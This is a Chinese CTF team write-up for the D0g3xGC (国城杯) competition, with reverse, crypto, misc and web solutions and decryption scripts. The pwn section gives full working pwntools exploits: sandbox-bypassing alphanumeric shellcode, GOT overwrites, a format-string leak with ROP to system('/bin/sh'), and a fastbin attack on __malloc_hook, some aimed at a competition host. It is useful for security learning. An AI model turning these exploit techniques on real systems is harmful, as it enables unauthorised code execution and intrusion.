前言：
本次排名第19名，全靠pwn佬带了，呜呜呜。Re题做了2个剩下两个又坐牢了.....Re题目出的无敌
XXTEA（Crush's_secret）
魔方套迷宫（FunMz）
驱动题（easy_key）
JavaBase64+爆破(round)
下面是队伍里做出来的部分wp
提交的wp里的re过程很简略，这里我详细步骤补全了
Reverse
Crush's_secret
IDA加载进去，Shift+F12找到疑似flag的字符串，双击进去
查找交叉引用（X），来到主函数入口
发现v5数组就四个值，十六进制后
这下闭着眼睛都能知道是TEA系列了，然后注意到sub_411122函数双击进去
这里的v11数组就是密文了，具体加密方法在sub_41110E处，进入函数查看
我超，红了
一看是SMC，直接动态调试
在这个地方下断点，F9运行程序
F7进入函数
运行到标记地点，会出现弹窗点Yes，然后在00418000处按P，函数就出来了
进去之后，一眼XXTEA，找个脚本直接写
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t* v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1)
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1)
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}
int main()
{
uint32_t v[12] = { 0x5A764F8A,0x5B0DF77,0xF101DF69,0xF9C14EF4,0x27F03590,0x7DF3324F,0x2E322D74,0x8F2A09BC,0xABE2A0D7,0xC2A09FE,0x35892BB2,0x53ABBA12 };
uint32_t const k[4] = { 0x5201314,0x52013140,0x5201314,0x52013140 };
int n = 2; //n的绝对值表示v的长度，取正表示加密，取负表示解密
// v为要加密的数据是32位无符号整数
// k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位
for (int i = 0; i < 12; i+=2)
{
btea(v+i, -n, k);
}
printf("解密后的数据：%s\n", v);
return 0;
}
解出来后面有点小瑕疵.....米关西的（doge）
最终得到D0g3xGC{The_wind_stops_at_autumn_water_and_I_stop_at_you}
round
先说几个重要部分
字符必须是这个范围内的，不然就提示
其次encodetobase64函数是被魔改过的，正常解密解不出来，但是，我手动挨个输出来了
原因：当输入rou时为cm91，与所给出的c9m1换了个位子，猜测的是每4位，中间两位互换
结果还真给我试出来了，太费时间了
结果为：round_and
然后就是encode函数
这里给出了代码，直接丢GPT，写出来iArr
[924, 967, 912, 973, 921, 936, 916, 926, 942, 963, 930, 927, 912, 971, 924, 961, 909, 956, 896, 906, 946, 991, 958, 899, 900, 991, 904, 981, 897, 944, 908, 902, 902, 1003, 906, 951, 952, 995, 948, 1001, 949, 900, 952, 946, 906, 999, 902, 955, 940, 1015, 928, 1021, 937, 920, 932, 942, 926, 1011, 914, 943, 928, 1019, 940, 1009, 989, 1004, 976, 986, 994, 911, 1006, 979, 980, 911, 984, 901, 977, 992, 988, 982, 1014, 923, 1018, 967, 968, 915, 964, 921, 965, 1012, 968, 962, 1018, 919, 1014, 971, 1020, 935, 1008, 941, 1017, 968, 1012, 1022, 974, 931, 962, 1023, 1008, 939, 1020, 929, 1005, 988, 992, 1002, 978, 959, 990, 995, 996, 959, 1000, 949, 993, 976, 1004, 998, 806, 843, 810, 791, 792, 835, 788, 841, 789, 804, 792, 786, 810, 839, 806, 795, 780, 855, 768, 861, 777, 824, 772, 782, 830, 851, 818, 783, 768, 859, 780, 849, 829, 780, 816, 826, 770, 879, 782, 819, 820, 879, 824, 869, 817, 768, 828, 822, 790, 891, 794, 807, 808, 883, 804, 889, 805, 788, 808, 802, 794, 887, 790, 811, 860, 775, 848, 781, 857, 872, 852, 862, 878, 771, 866, 863, 848, 779, 860, 769, 845, 892, 832, 842, 882, 799, 894, 835, 836, 799, 840, 789, 833, 880, 844, 838, 838, 811, 842, 887, 888, 803, 884, 809, 885, 836, 888, 882, 842, 807, 838, 891, 876, 823, 864, 829, 873, 856, 868, 878, 862, 819, 850, 879, 864, 827, 876, 817, 669, 684, 656, 666, 674, 719, 686, 659, 660, 719, 664, 709, 657, 672, 668, 662, 694, 731, 698, 647, 648, 723, 644, 729, 645, 692, 648, 642, 698, 727, 694, 651, 700, 743, 688, 749, 697, 648, 692, 702, 654, 739, 642, 703, 688, 747, 700, 737, 685, 668, 672, 682, 658, 767, 670, 675, 676, 767, 680, 757, 673, 656, 684, 678, 742, 651, 746, 727, 728, 643, 724, 649, 725, 740, 728, 722, 746, 647, 742, 731, 716, 663, 704, 669, 713, 760, 708, 718, 766, 659, 754, 719, 704, 667, 716, 657, 765, 716, 752, 762, 706, 687, 718, 755, 756, 687, 760, 677, 753, 704, 764, 758, 726, 699, 730, 743, 744, 691, 740, 697, 741, 724, 744, 738, 730, 695, 726, 747, 540, 583, 528, 589, 537, 552, 532, 542, 558, 579, 546, 543, 528, 587, 540, 577, 525, 572, 512, 522, 562, 607, 574, 515, 516, 607, 520, 597, 513, 560, 524, 518, 518, 619, 522, 567, 568, 611, 564, 617, 565, 516, 568, 562, 522, 615, 518, 571, 556, 631, 544, 637, 553, 536, 548, 558, 542, 627, 530, 559, 544, 635, 556, 625, 605, 620, 592, 602, 610, 527, 622, 595, 596, 527, 600, 517, 593, 608, 604, 598, 630, 539, 634, 583, 584, 531, 580, 537, 581, 628, 584, 578, 634, 535, 630, 587, 636, 551, 624, 557, 633, 584, 628, 638, 590, 547, 578, 639, 624, 555, 636, 545, 621, 604, 608, 618, 594, 575, 606, 611, 612, 575, 616, 565, 609, 592, 620, 614, 422, 459, 426, 407, 408, 451, 404, 457, 405, 420, 408, 402, 426, 455, 422, 411, 396, 471, 384, 477, 393, 440, 388, 398, 446, 467, 434, 399, 384, 475, 396, 465, 445, 396, 432, 442, 386, 495, 398, 435, 436, 495, 440, 485, 433, 384, 444, 438, 406, 507, 410, 423, 424, 499, 420, 505, 421, 404, 424, 418, 410, 503, 406, 427, 476, 391, 464, 397, 473, 488, 468, 478, 494, 387, 482, 479, 464, 395, 476, 385, 461, 508, 448, 458, 498, 415, 510, 451, 452, 415, 456, 405, 449, 496, 460, 454, 454, 427, 458, 503, 504, 419, 500, 425, 501, 452, 504, 498, 458, 423, 454, 507, 492, 439, 480, 445, 489, 472, 484, 494, 478, 435, 466, 495, 480, 443, 492, 433, 285, 300, 272, 282, 290, 335, 302, 275, 276, 335, 280, 325, 273, 288, 284, 278, 310, 347, 314, 263, 264, 339, 260, 345, 261, 308, 264, 258, 314, 343, 310, 267, 316, 359, 304, 365, 313, 264, 308, 318, 270, 355, 258, 319, 304, 363, 316, 353, 301, 284, 288, 298, 274, 383, 286, 291, 292, 383, 296, 373, 289, 272, 300, 294, 358, 267, 362, 343, 344, 259, 340, 265, 341, 356, 344, 338, 362, 263, 358, 347, 332, 279, 320, 285, 329, 376, 324, 334, 382, 275, 370, 335, 320, 283, 332, 273, 381, 332, 368, 378, 322, 303, 334, 371, 372, 303, 376, 293, 369, 320, 380, 374, 342, 315, 346, 359, 360, 307, 356, 313, 357, 340, 360, 354, 346, 311, 342, 363, 156, 199, 144, 205, 153, 168, 148, 158, 174, 195, 162, 159, 144, 203, 156, 193, 141, 188, 128, 138, 178, 223, 190, 131, 132, 223, 136, 213, 129, 176, 140, 134, 134, 235, 138, 183, 184, 227, 180, 233, 181, 132, 184, 178, 138, 231, 134, 187, 172, 247, 160, 253, 169, 152, 164, 174, 158, 243, 146, 175, 160, 251, 172, 241, 221, 236, 208, 218, 226, 143, 238, 211, 212, 143, 216, 133, 209, 224, 220, 214, 246, 155, 250, 199, 200, 147, 196, 153, 197, 244, 200, 194, 250, 151, 246, 203, 252, 167, 240, 173, 249, 200, 244, 254, 206, 163, 194, 255, 240, 171, 252, 161, 237, 220, 224, 234, 210, 191, 222, 227, 228, 191, 232, 181, 225, 208, 236, 230, 38, 75, 42, 23, 24, 67, 20, 73, 21, 36, 24, 18, 42, 71, 38, 27, 12, 87, 0, 93, 9, 56, 4, 14, 62, 83, 50, 15, 0, 91, 12, 81, 61, 12, 48, 58, 2, 111, 14, 51, 52, 111, 56, 101, 49, 0, 60, 54, 22, 123, 26, 39, 40, 115, 36, 121, 37, 20, 40, 34, 26, 119, 22, 43, 92, 7, 80, 13, 89, 104, 84, 94, 110, 3, 98, 95, 80, 11, 92, 1, 77, 124, 64, 74, 114, 31, 126, 67, 68, 31, 72, 21, 65, 112, 76, 70, 70, 43, 74, 119, 120, 35, 116, 41, 117, 68, 120, 114, 74, 39, 70, 123, 108, 55, 96, 61, 105, 88, 100, 110, 94, 51, 82, 111, 96, 59, 108, 49]
# 初始化数组和字符串
iArr = [0] * 1024
base64 = list("c9m1bRmfY5Wk")
# 填充数组
for i in range(1024):
iArr[1023 - i] = i
# 异或操作
for i2 in range(1024):
iArr[i2] = iArr[i2] ^ ord(base64[i2 % len(base64)])
剩下部分好像和vm有点像
感觉要爆破，丢给GPT
class CryptoSystem:
def __init__(self):
self.results = []
self.transformation_matrix = [
352, 646, 752, 882, 65, 0, 122, 0, 0, 7, 350, 360
]
def initialize_array(self, input_string):
array = [0] * 1024
char_list = [ord(char) for char in input_string]
for i in range(1024):
array[1023 - i] = i
for i in range(1024):
array[i] ^= char_list[i % len(char_list)]
return array
def execute_transformation(self, array, index):
for operation in self.transformation_matrix:
yield operation, array, index
def decode(self, array, index):
for char_code in range(0x20, 0x7F):
if (char_code >= 0x41 and char_code <= 0x5A) or \
(char_code >= 0x61 and char_code <= 0x7A) or \
char_code == 0x5F:
result = self.apply_operations(array, char_code, index)
if result:
yield result
def apply_operations(self, array, char, index):
for _ in range(32):
operation, value = self.determine_operation(array, char, index)
char, index = operation(value, char, index)
return char, index
def determine_operation(self, array, char, index):
operation_index = (array[index] ^ char) % 5
operations = [
self.add, self.sub, self.xor, self.shl, self.shr
]
return operations[operation_index], array
def add(self, value, char, index):
return ((char + value[index]) % 1024, (index + char) % 1024)
def sub(self, value, char, index):
return ((char - value[index]) % 1024, (index + char) % 1024)
def xor(self, value, char, index):
return (char ^ value[index], (index + char) % 1024)
def shl(self, value, char, index):
return ((char << 3) % 1024, (index + char) % 1024)
def shr(self, value, char, index):
return ((char >> 3) % 1024, (index + char) % 1024)
def find_solution(self, array, index, count):
if count >= 12:
return True
for result in self.decode(array, index):
char, new_index = result
if char == self.transformation_matrix[count]:
print(f"[{count}] is {chr(char)}")
if self.find_solution(array, new_index, count + 1):
return True
return False
# Main execution
crypto_system = CryptoSystem()
input_string = "c9m1bRmfY5Wk"
array = crypto_system.initialize_array(input_string)
solution_found = crypto_system.find_solution(array, 33, 0)
'''
[0] is _
[1] is r
[2] is o
[3] is u
[4] is n
[5] is D
[6] is _
[7] is w
[8] is e
[9] is _
[10] is g
[11] is o
_rounD_we_go
爆破出来有很多没用的字符，通过查找，得出来密码
最终得到D0g3xGC{round_and_rounD_we_go}
Misc
我是真签到
公众号回复“国城杯我来啦”即可
D0g3xGC{welCome_To_Gcbctf_HaveGo0dTIMe}
Crypto
babyRSA
考察的是Schmidt-Samoa 密码体系
from Crypto.Util.number import *
import gmpy2
n = 539403894871945779827202174061302970341082455928364137444962844359039924160163196863639732747261316352083923762760392277536591121706270680734175544093484423564223679628430671167864783270170316881238613070741410367403388936640139281272357761773388084534717028640788227350254140821128908338938211038299089224967666902522698905762169859839320277939509727532793553875254243396522340305880944219886874086251872580220405893975158782585205038779055706441633392356197489
d = 58169755386408729394668831947856757060407423126014928705447058468355548861569452522734305188388017764321018770435192767746145932739423507387500606563617116764196418533748380893094448060562081543927295828007016873588530479985728135015510171217414380395169021607415979109815455365309760152218352878885075237009
c = 82363935080688828403687816407414245190197520763274791336321809938555352729292372511750720874636733170318783864904860402219217916275532026726988967173244517058861515301795651235356589935260088896862597321759820481288634232602161279508285376396160040216717452399727353343286840178630019331762024227868572613111538565515895048015318352044475799556833174329418774012639769680007774968870455333386419199820213165698948819857171366903857477182306178673924861370469175
pq = gmpy2.gcd(pow(2, d* n, n) - 2, n)
m=pow(c,d,pq)
print(long_to_bytes(m))
#b'D0g3xGC{W1sh_Y0u_Go0d_L@ucK-111}'
最终得到D0g3xGC{W1sh_Y0u_Go0d_L@ucK-111}
Curve
原题，通过曲线之间的映射来解题
assert (agx2+gy2)%p==(1+dgx2*gy2)%p
可知这是标准型的扭曲爱德华曲线
解题过程和脚本参考：Crypto趣题-曲线 | 糖醋小鸡块的blog
from Crypto.Util.number import *
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
e=0x10001
eG = (34120664973166619886120801966861368419497948422807175421202190709822232354059, 11301243831592615312624457443883283529467532390028216735072818875052648928463)
c=1
F = GF(p)
dd = F(d*c^4)
A = F(2) * F(a+dd) / F(a-dd)
B = F(4) / F(a-dd)
a = F(3-A^2) / F(3*B^2)
b = F(2*A^3-9*A) / F(27*B^3)
def edwards_to_ECC(x,y):
x1 = F(x) / F(c)
y1 = F(y) / F(c)
x2 = F(1+y1) / F(1-y1)
y2 = F(x2) / F(x1)
x3 = (F(3*x2) + F(A)) / F(3*B)
y3 = F(y2) / F(B)
return (x3,y3)
def ECC_to_edwards(x,y):
x2 = (F(x) * F(3*B) - F(A)) / F(3)
y2 = F(y) * F(B)
x1 = F(x2) / F(y2)
y1 = F(1) - (F(2) / F(x2+1))
x_ = F(x1) * F(c)
y_ = F(y1) * F(c)
return (x_,y_)
E = EllipticCurve(GF(p), [a, b])
order = E.order()
eG = E(edwards_to_ECC(eG[0],eG[1]))
t = inverse(e,order)
G = t*eG
G = ECC_to_edwards(G[0],G[1])
print(long_to_bytes(int(G[0])))
#b'D0g3xGC{SOlvE_The_Edcurv3}'
最终得到D0g3xGC{SOlvE_The_Edcurv3}
EZ_sign
b = 829396411171540475587755762866203184101195238207
(H1, r1, s1) = 659787401883545685817457221852854226644541324571, 334878452864978819061930997065061937449464345411, 282119793273156214497433603026823910474682900640
(H2, r2, s2) = 156467414524100313878421798396433081456201599833, 584114556699509111695337565541829205336940360354, 827371522240921066790477048569787834877112159142
PR.<k1>=PolynomialRing(Zmod(b))
f=(s1*k1*r2-s2*k1^2*r1)-(H1*r2-H2*r1)
res=f.roots()
print(res)
k=9455554284687443083
x=(s1*k-H1)*inverse(r1,b)%b
print(x)
b'e = 44519'
通过C = p^2 + q^2这个条件来解出p,q
一开始用res=two_squares(C)来解，发现解出来的p,q不对，又换了一种方法
from sage.all import *
N=179093209181929149953346613617854206675976823277412565868079070299728290913658
#将N转换为复数域上的整数
f = ZZ[I](N)
#获取所有因子
divisors_f = divisors(f)
#遍历所有因子，寻找满足条件的p和q
for d in divisors_f:
a,b = d.real(), d.imag()
if a**2 + b**2 == N:
p = abs(int(a))
q = abs(int(b))
if is_prime(p) and is_prime(q):
print(p)
print(q)
break
from Crypto.Util.number import *
import random
k=1865444199836044046649
print(long_to_bytes(k))
e = 44519
c = 18947793008364154366082991046877977562448549186943043756326365751169362247521
p=302951519846417861008714825074296492447
q=295488723650623654106370451762393175957
phi=(p-1)*(q-1)
d=inverse(e,phi)
m=pow(c,d,p*q)
print(long_to_bytes(m))
最终得到D0g3xGC{EZ_DSA_@nd_C0mplex_QAQ}
Web
调差问卷
最终得到：D0g3xGC{Thanks_for_your_participation}
Pwn
alphashell
分析
要求输入字符为可见字符
sandbox禁用了open write writev read和execve等函数
EXP
from pwn import *
from ctypes import *
from ae64 import AE64
#----------------function area start----------------#
sla = lambda ch,data:p.sendlineafter(ch,data)
sda = lambda ch,data:p.sendafter(ch,data)
sd = lambda data:p.send(data)
sl = lambda data:p.sendline(data)
addr32 = lambda:u32(p.recvuntil(b"\xf7")[-4:])
addr64 = lambda:u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
lg = lambda addr_name,addr:log.success("{} --> {}".format(addr_name,hex(addr)))
ru = lambda con:p.recvuntil(con)
def debug(bp=0):
gdb.attach(p,bp)
pause()
#----------------function area end------------------#
p = process("./attachment")
# p = remote('125.70.243.22','31709')
# context.log_level = 'debug'
context.arch='amd64'
sc=asm('''
xor rsi,rsi
mov rbx,0x67616c662f
push rbx
mov rdx,0
xor r10,r10
mov rdi,r10
mov rsi, rsp
mov eax,SYS_openat
syscall
mov rsi,rax
mov r10,0x100
xor rdx,rdx
mov rdi,1
mov eax,SYS_sendfile
syscall
''')
obj = AE64()
payload = obj.encode(sc,'rdx')
# debug()
p.send(payload)
p.interactive()
beverage store
分析
类型转换错误，导致可以反向越界修改之前的内容对于这道题，可以先修改exit got，重启程序流程
接着修改printf got为system，最后把exit got重新改为后门函数地址即可
EXP
from pwn import *
from ctypes import *
#----------------function area start----------------#
sla = lambda ch,data:p.sendlineafter(ch,data)
sda = lambda ch,data:p.sendafter(ch,data)
sd = lambda data:p.send(data)
sl = lambda data:p.sendline(data)
addr32 = lambda:u32(p.recvuntil(b"\xf7")[-4:])
addr64 = lambda:u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
lg = lambda addr_name,addr:log.success("{} --> {}".format(addr_name,hex(addr)))
ru = lambda con:p.recvuntil(con)
def debug(bp=0):
gdb.attach(p,bp)
pause()
#----------------function area end------------------#
# p = process("./pwn")
p = remote('125.70.243.22','31668')
libc = ELF('./libc.so.6')
clibc = cdll.LoadLibrary('./libc.so.6')
context.log_level='debug'
ru("id")
p.send(b'B'*0x10)
clibc.srand(0x42424242)
num = clibc.rand()
ru("code:")
sl(str(num))
sleep(1)
sl(b'-4')
payload = p64(0x40133B) + p64(0x401511)
sd(payload)
sl(b'-6')
sleep(1)
sd(b'a')
libc_base = addr64() - 0x46061
lg('libc_base',libc_base)
system = libc_base + libc.sym['system']
sleep(1)
sl(b'-7')
payload = p64(system)
sd(payload)
sl(b'-4')
sleep(1)
payload = p64(0x401511)
sd(payload)
p.interactive()
Offensive_Security
分析
多线程但是未对资源加锁，输入任意同样的字符串即可绕过限制
存在格式化字符串漏洞，可泄露密码和libc基址
最后栈溢出然后getshell
EXP
from pwn import *
from ctypes import *
#----------------function area start----------------#
sla = lambda ch,data:p.sendlineafter(ch,data)
sda = lambda ch,data:p.sendafter(ch,data)
sd = lambda data:p.send(data)
sl = lambda data:p.sendline(data)
addr32 = lambda:u32(p.recvuntil(b"\xf7")[-4:])
addr64 = lambda:u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
lg = lambda addr_name,addr:log.success("{} --> {}".format(addr_name,hex(addr)))
ru = lambda con:p.recvuntil(con)
def debug(bp=0):
gdb.attach(p,bp)
pause()
#----------------function area end------------------#
# p = process("./attachment")
elf = ELF('./attachment')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# context.log_level = 'debug'
while True:
sleep(1)
try:
p = remote('125.70.243.22','31652')
sleep(0.1)
sla('Username:','%7$s%39$p')
ru('Welcome, \n')
passwd = p.recv(8)
sleep(0.1)
sl(passwd)
libc_leak = addr64()
lg('libc_leak',libc_leak)
if (libc_leak & 0xff) == 0x80:
libc_base = libc_leak - 0x21b780
lg('libc base',libc_base)
sl('1')
sl('1')
ogs = [0xebc81,0xebc85,0xebc88]
payload = b'A'*0x28 + p64(0x0000000000400462) + p64(0x0000000000400661) + p64(libc_base+next(libc.search(b'/bin/sh'))) + p64(libc_base+libc.sym.system)
sla('>',payload)
p.interactive()
break
else:
raise('环境有毛病')
except:
p.close()
continue
hijack_vtable
分析
没啥好分析的，add、show、delete、edit都没限制，直接fastbin attack打malloc hookEXP
from pwn import *
from ctypes import *
#----------------function area start----------------#
sla = lambda ch,data:p.sendlineafter(ch,data)
sda = lambda ch,data:p.sendafter(ch,data)
sd = lambda data:p.send(data)
sl = lambda data:p.sendline(data)
addr32 = lambda:u32(p.recvuntil(b"\xf7")[-4:])
addr64 = lambda:u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
lg = lambda addr_name,addr:log.success("{} --> {}".format(addr_name,hex(addr)))
ru = lambda con:p.recvuntil(con)
def debug(bp=0):
gdb.attach(p,bp)
pause()
#----------------function area end------------------#
# p = process("./pwn")
p = remote('125.70.243.22','31986')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
def cmd(choice):
sla('choice:',str(choice))
def add(idx,size):
cmd(1)
sleep(0.1)
sla('index',str(idx))
sleep(0.1)
sla('size',str(size))
def delete(idx):
cmd(2)
sla('index',str(idx))
def edit(idx,len,con):
cmd(3)
sla('index',str(idx))
sleep(0.1)
sla('length:',str(len))
sleep(0.1)
sla('content:',con)
def show(idx):
cmd(4)
sla('index',str(idx))
add(0,0x100)
add(1,0x60)
delete(0)
show(0)
libc_base = addr64() - 0x39bb78
lg('libc base',libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
delete(1)
edit(1,0x10,p64(malloc_hook - 0x23))
add(0,0x100)
add(1,0x60)
add(2,0x60)
edit(2,0x30,b'a'*0x13 + p64(libc_base + 0xd5c07))
add(3,0x10)
# debug()
p.interactive()
总结：
Funmz与easy_key两个题目待复现，复现成功会另起一边文章续写.
快英语四级了，不用担心已经挂了....等下次了hh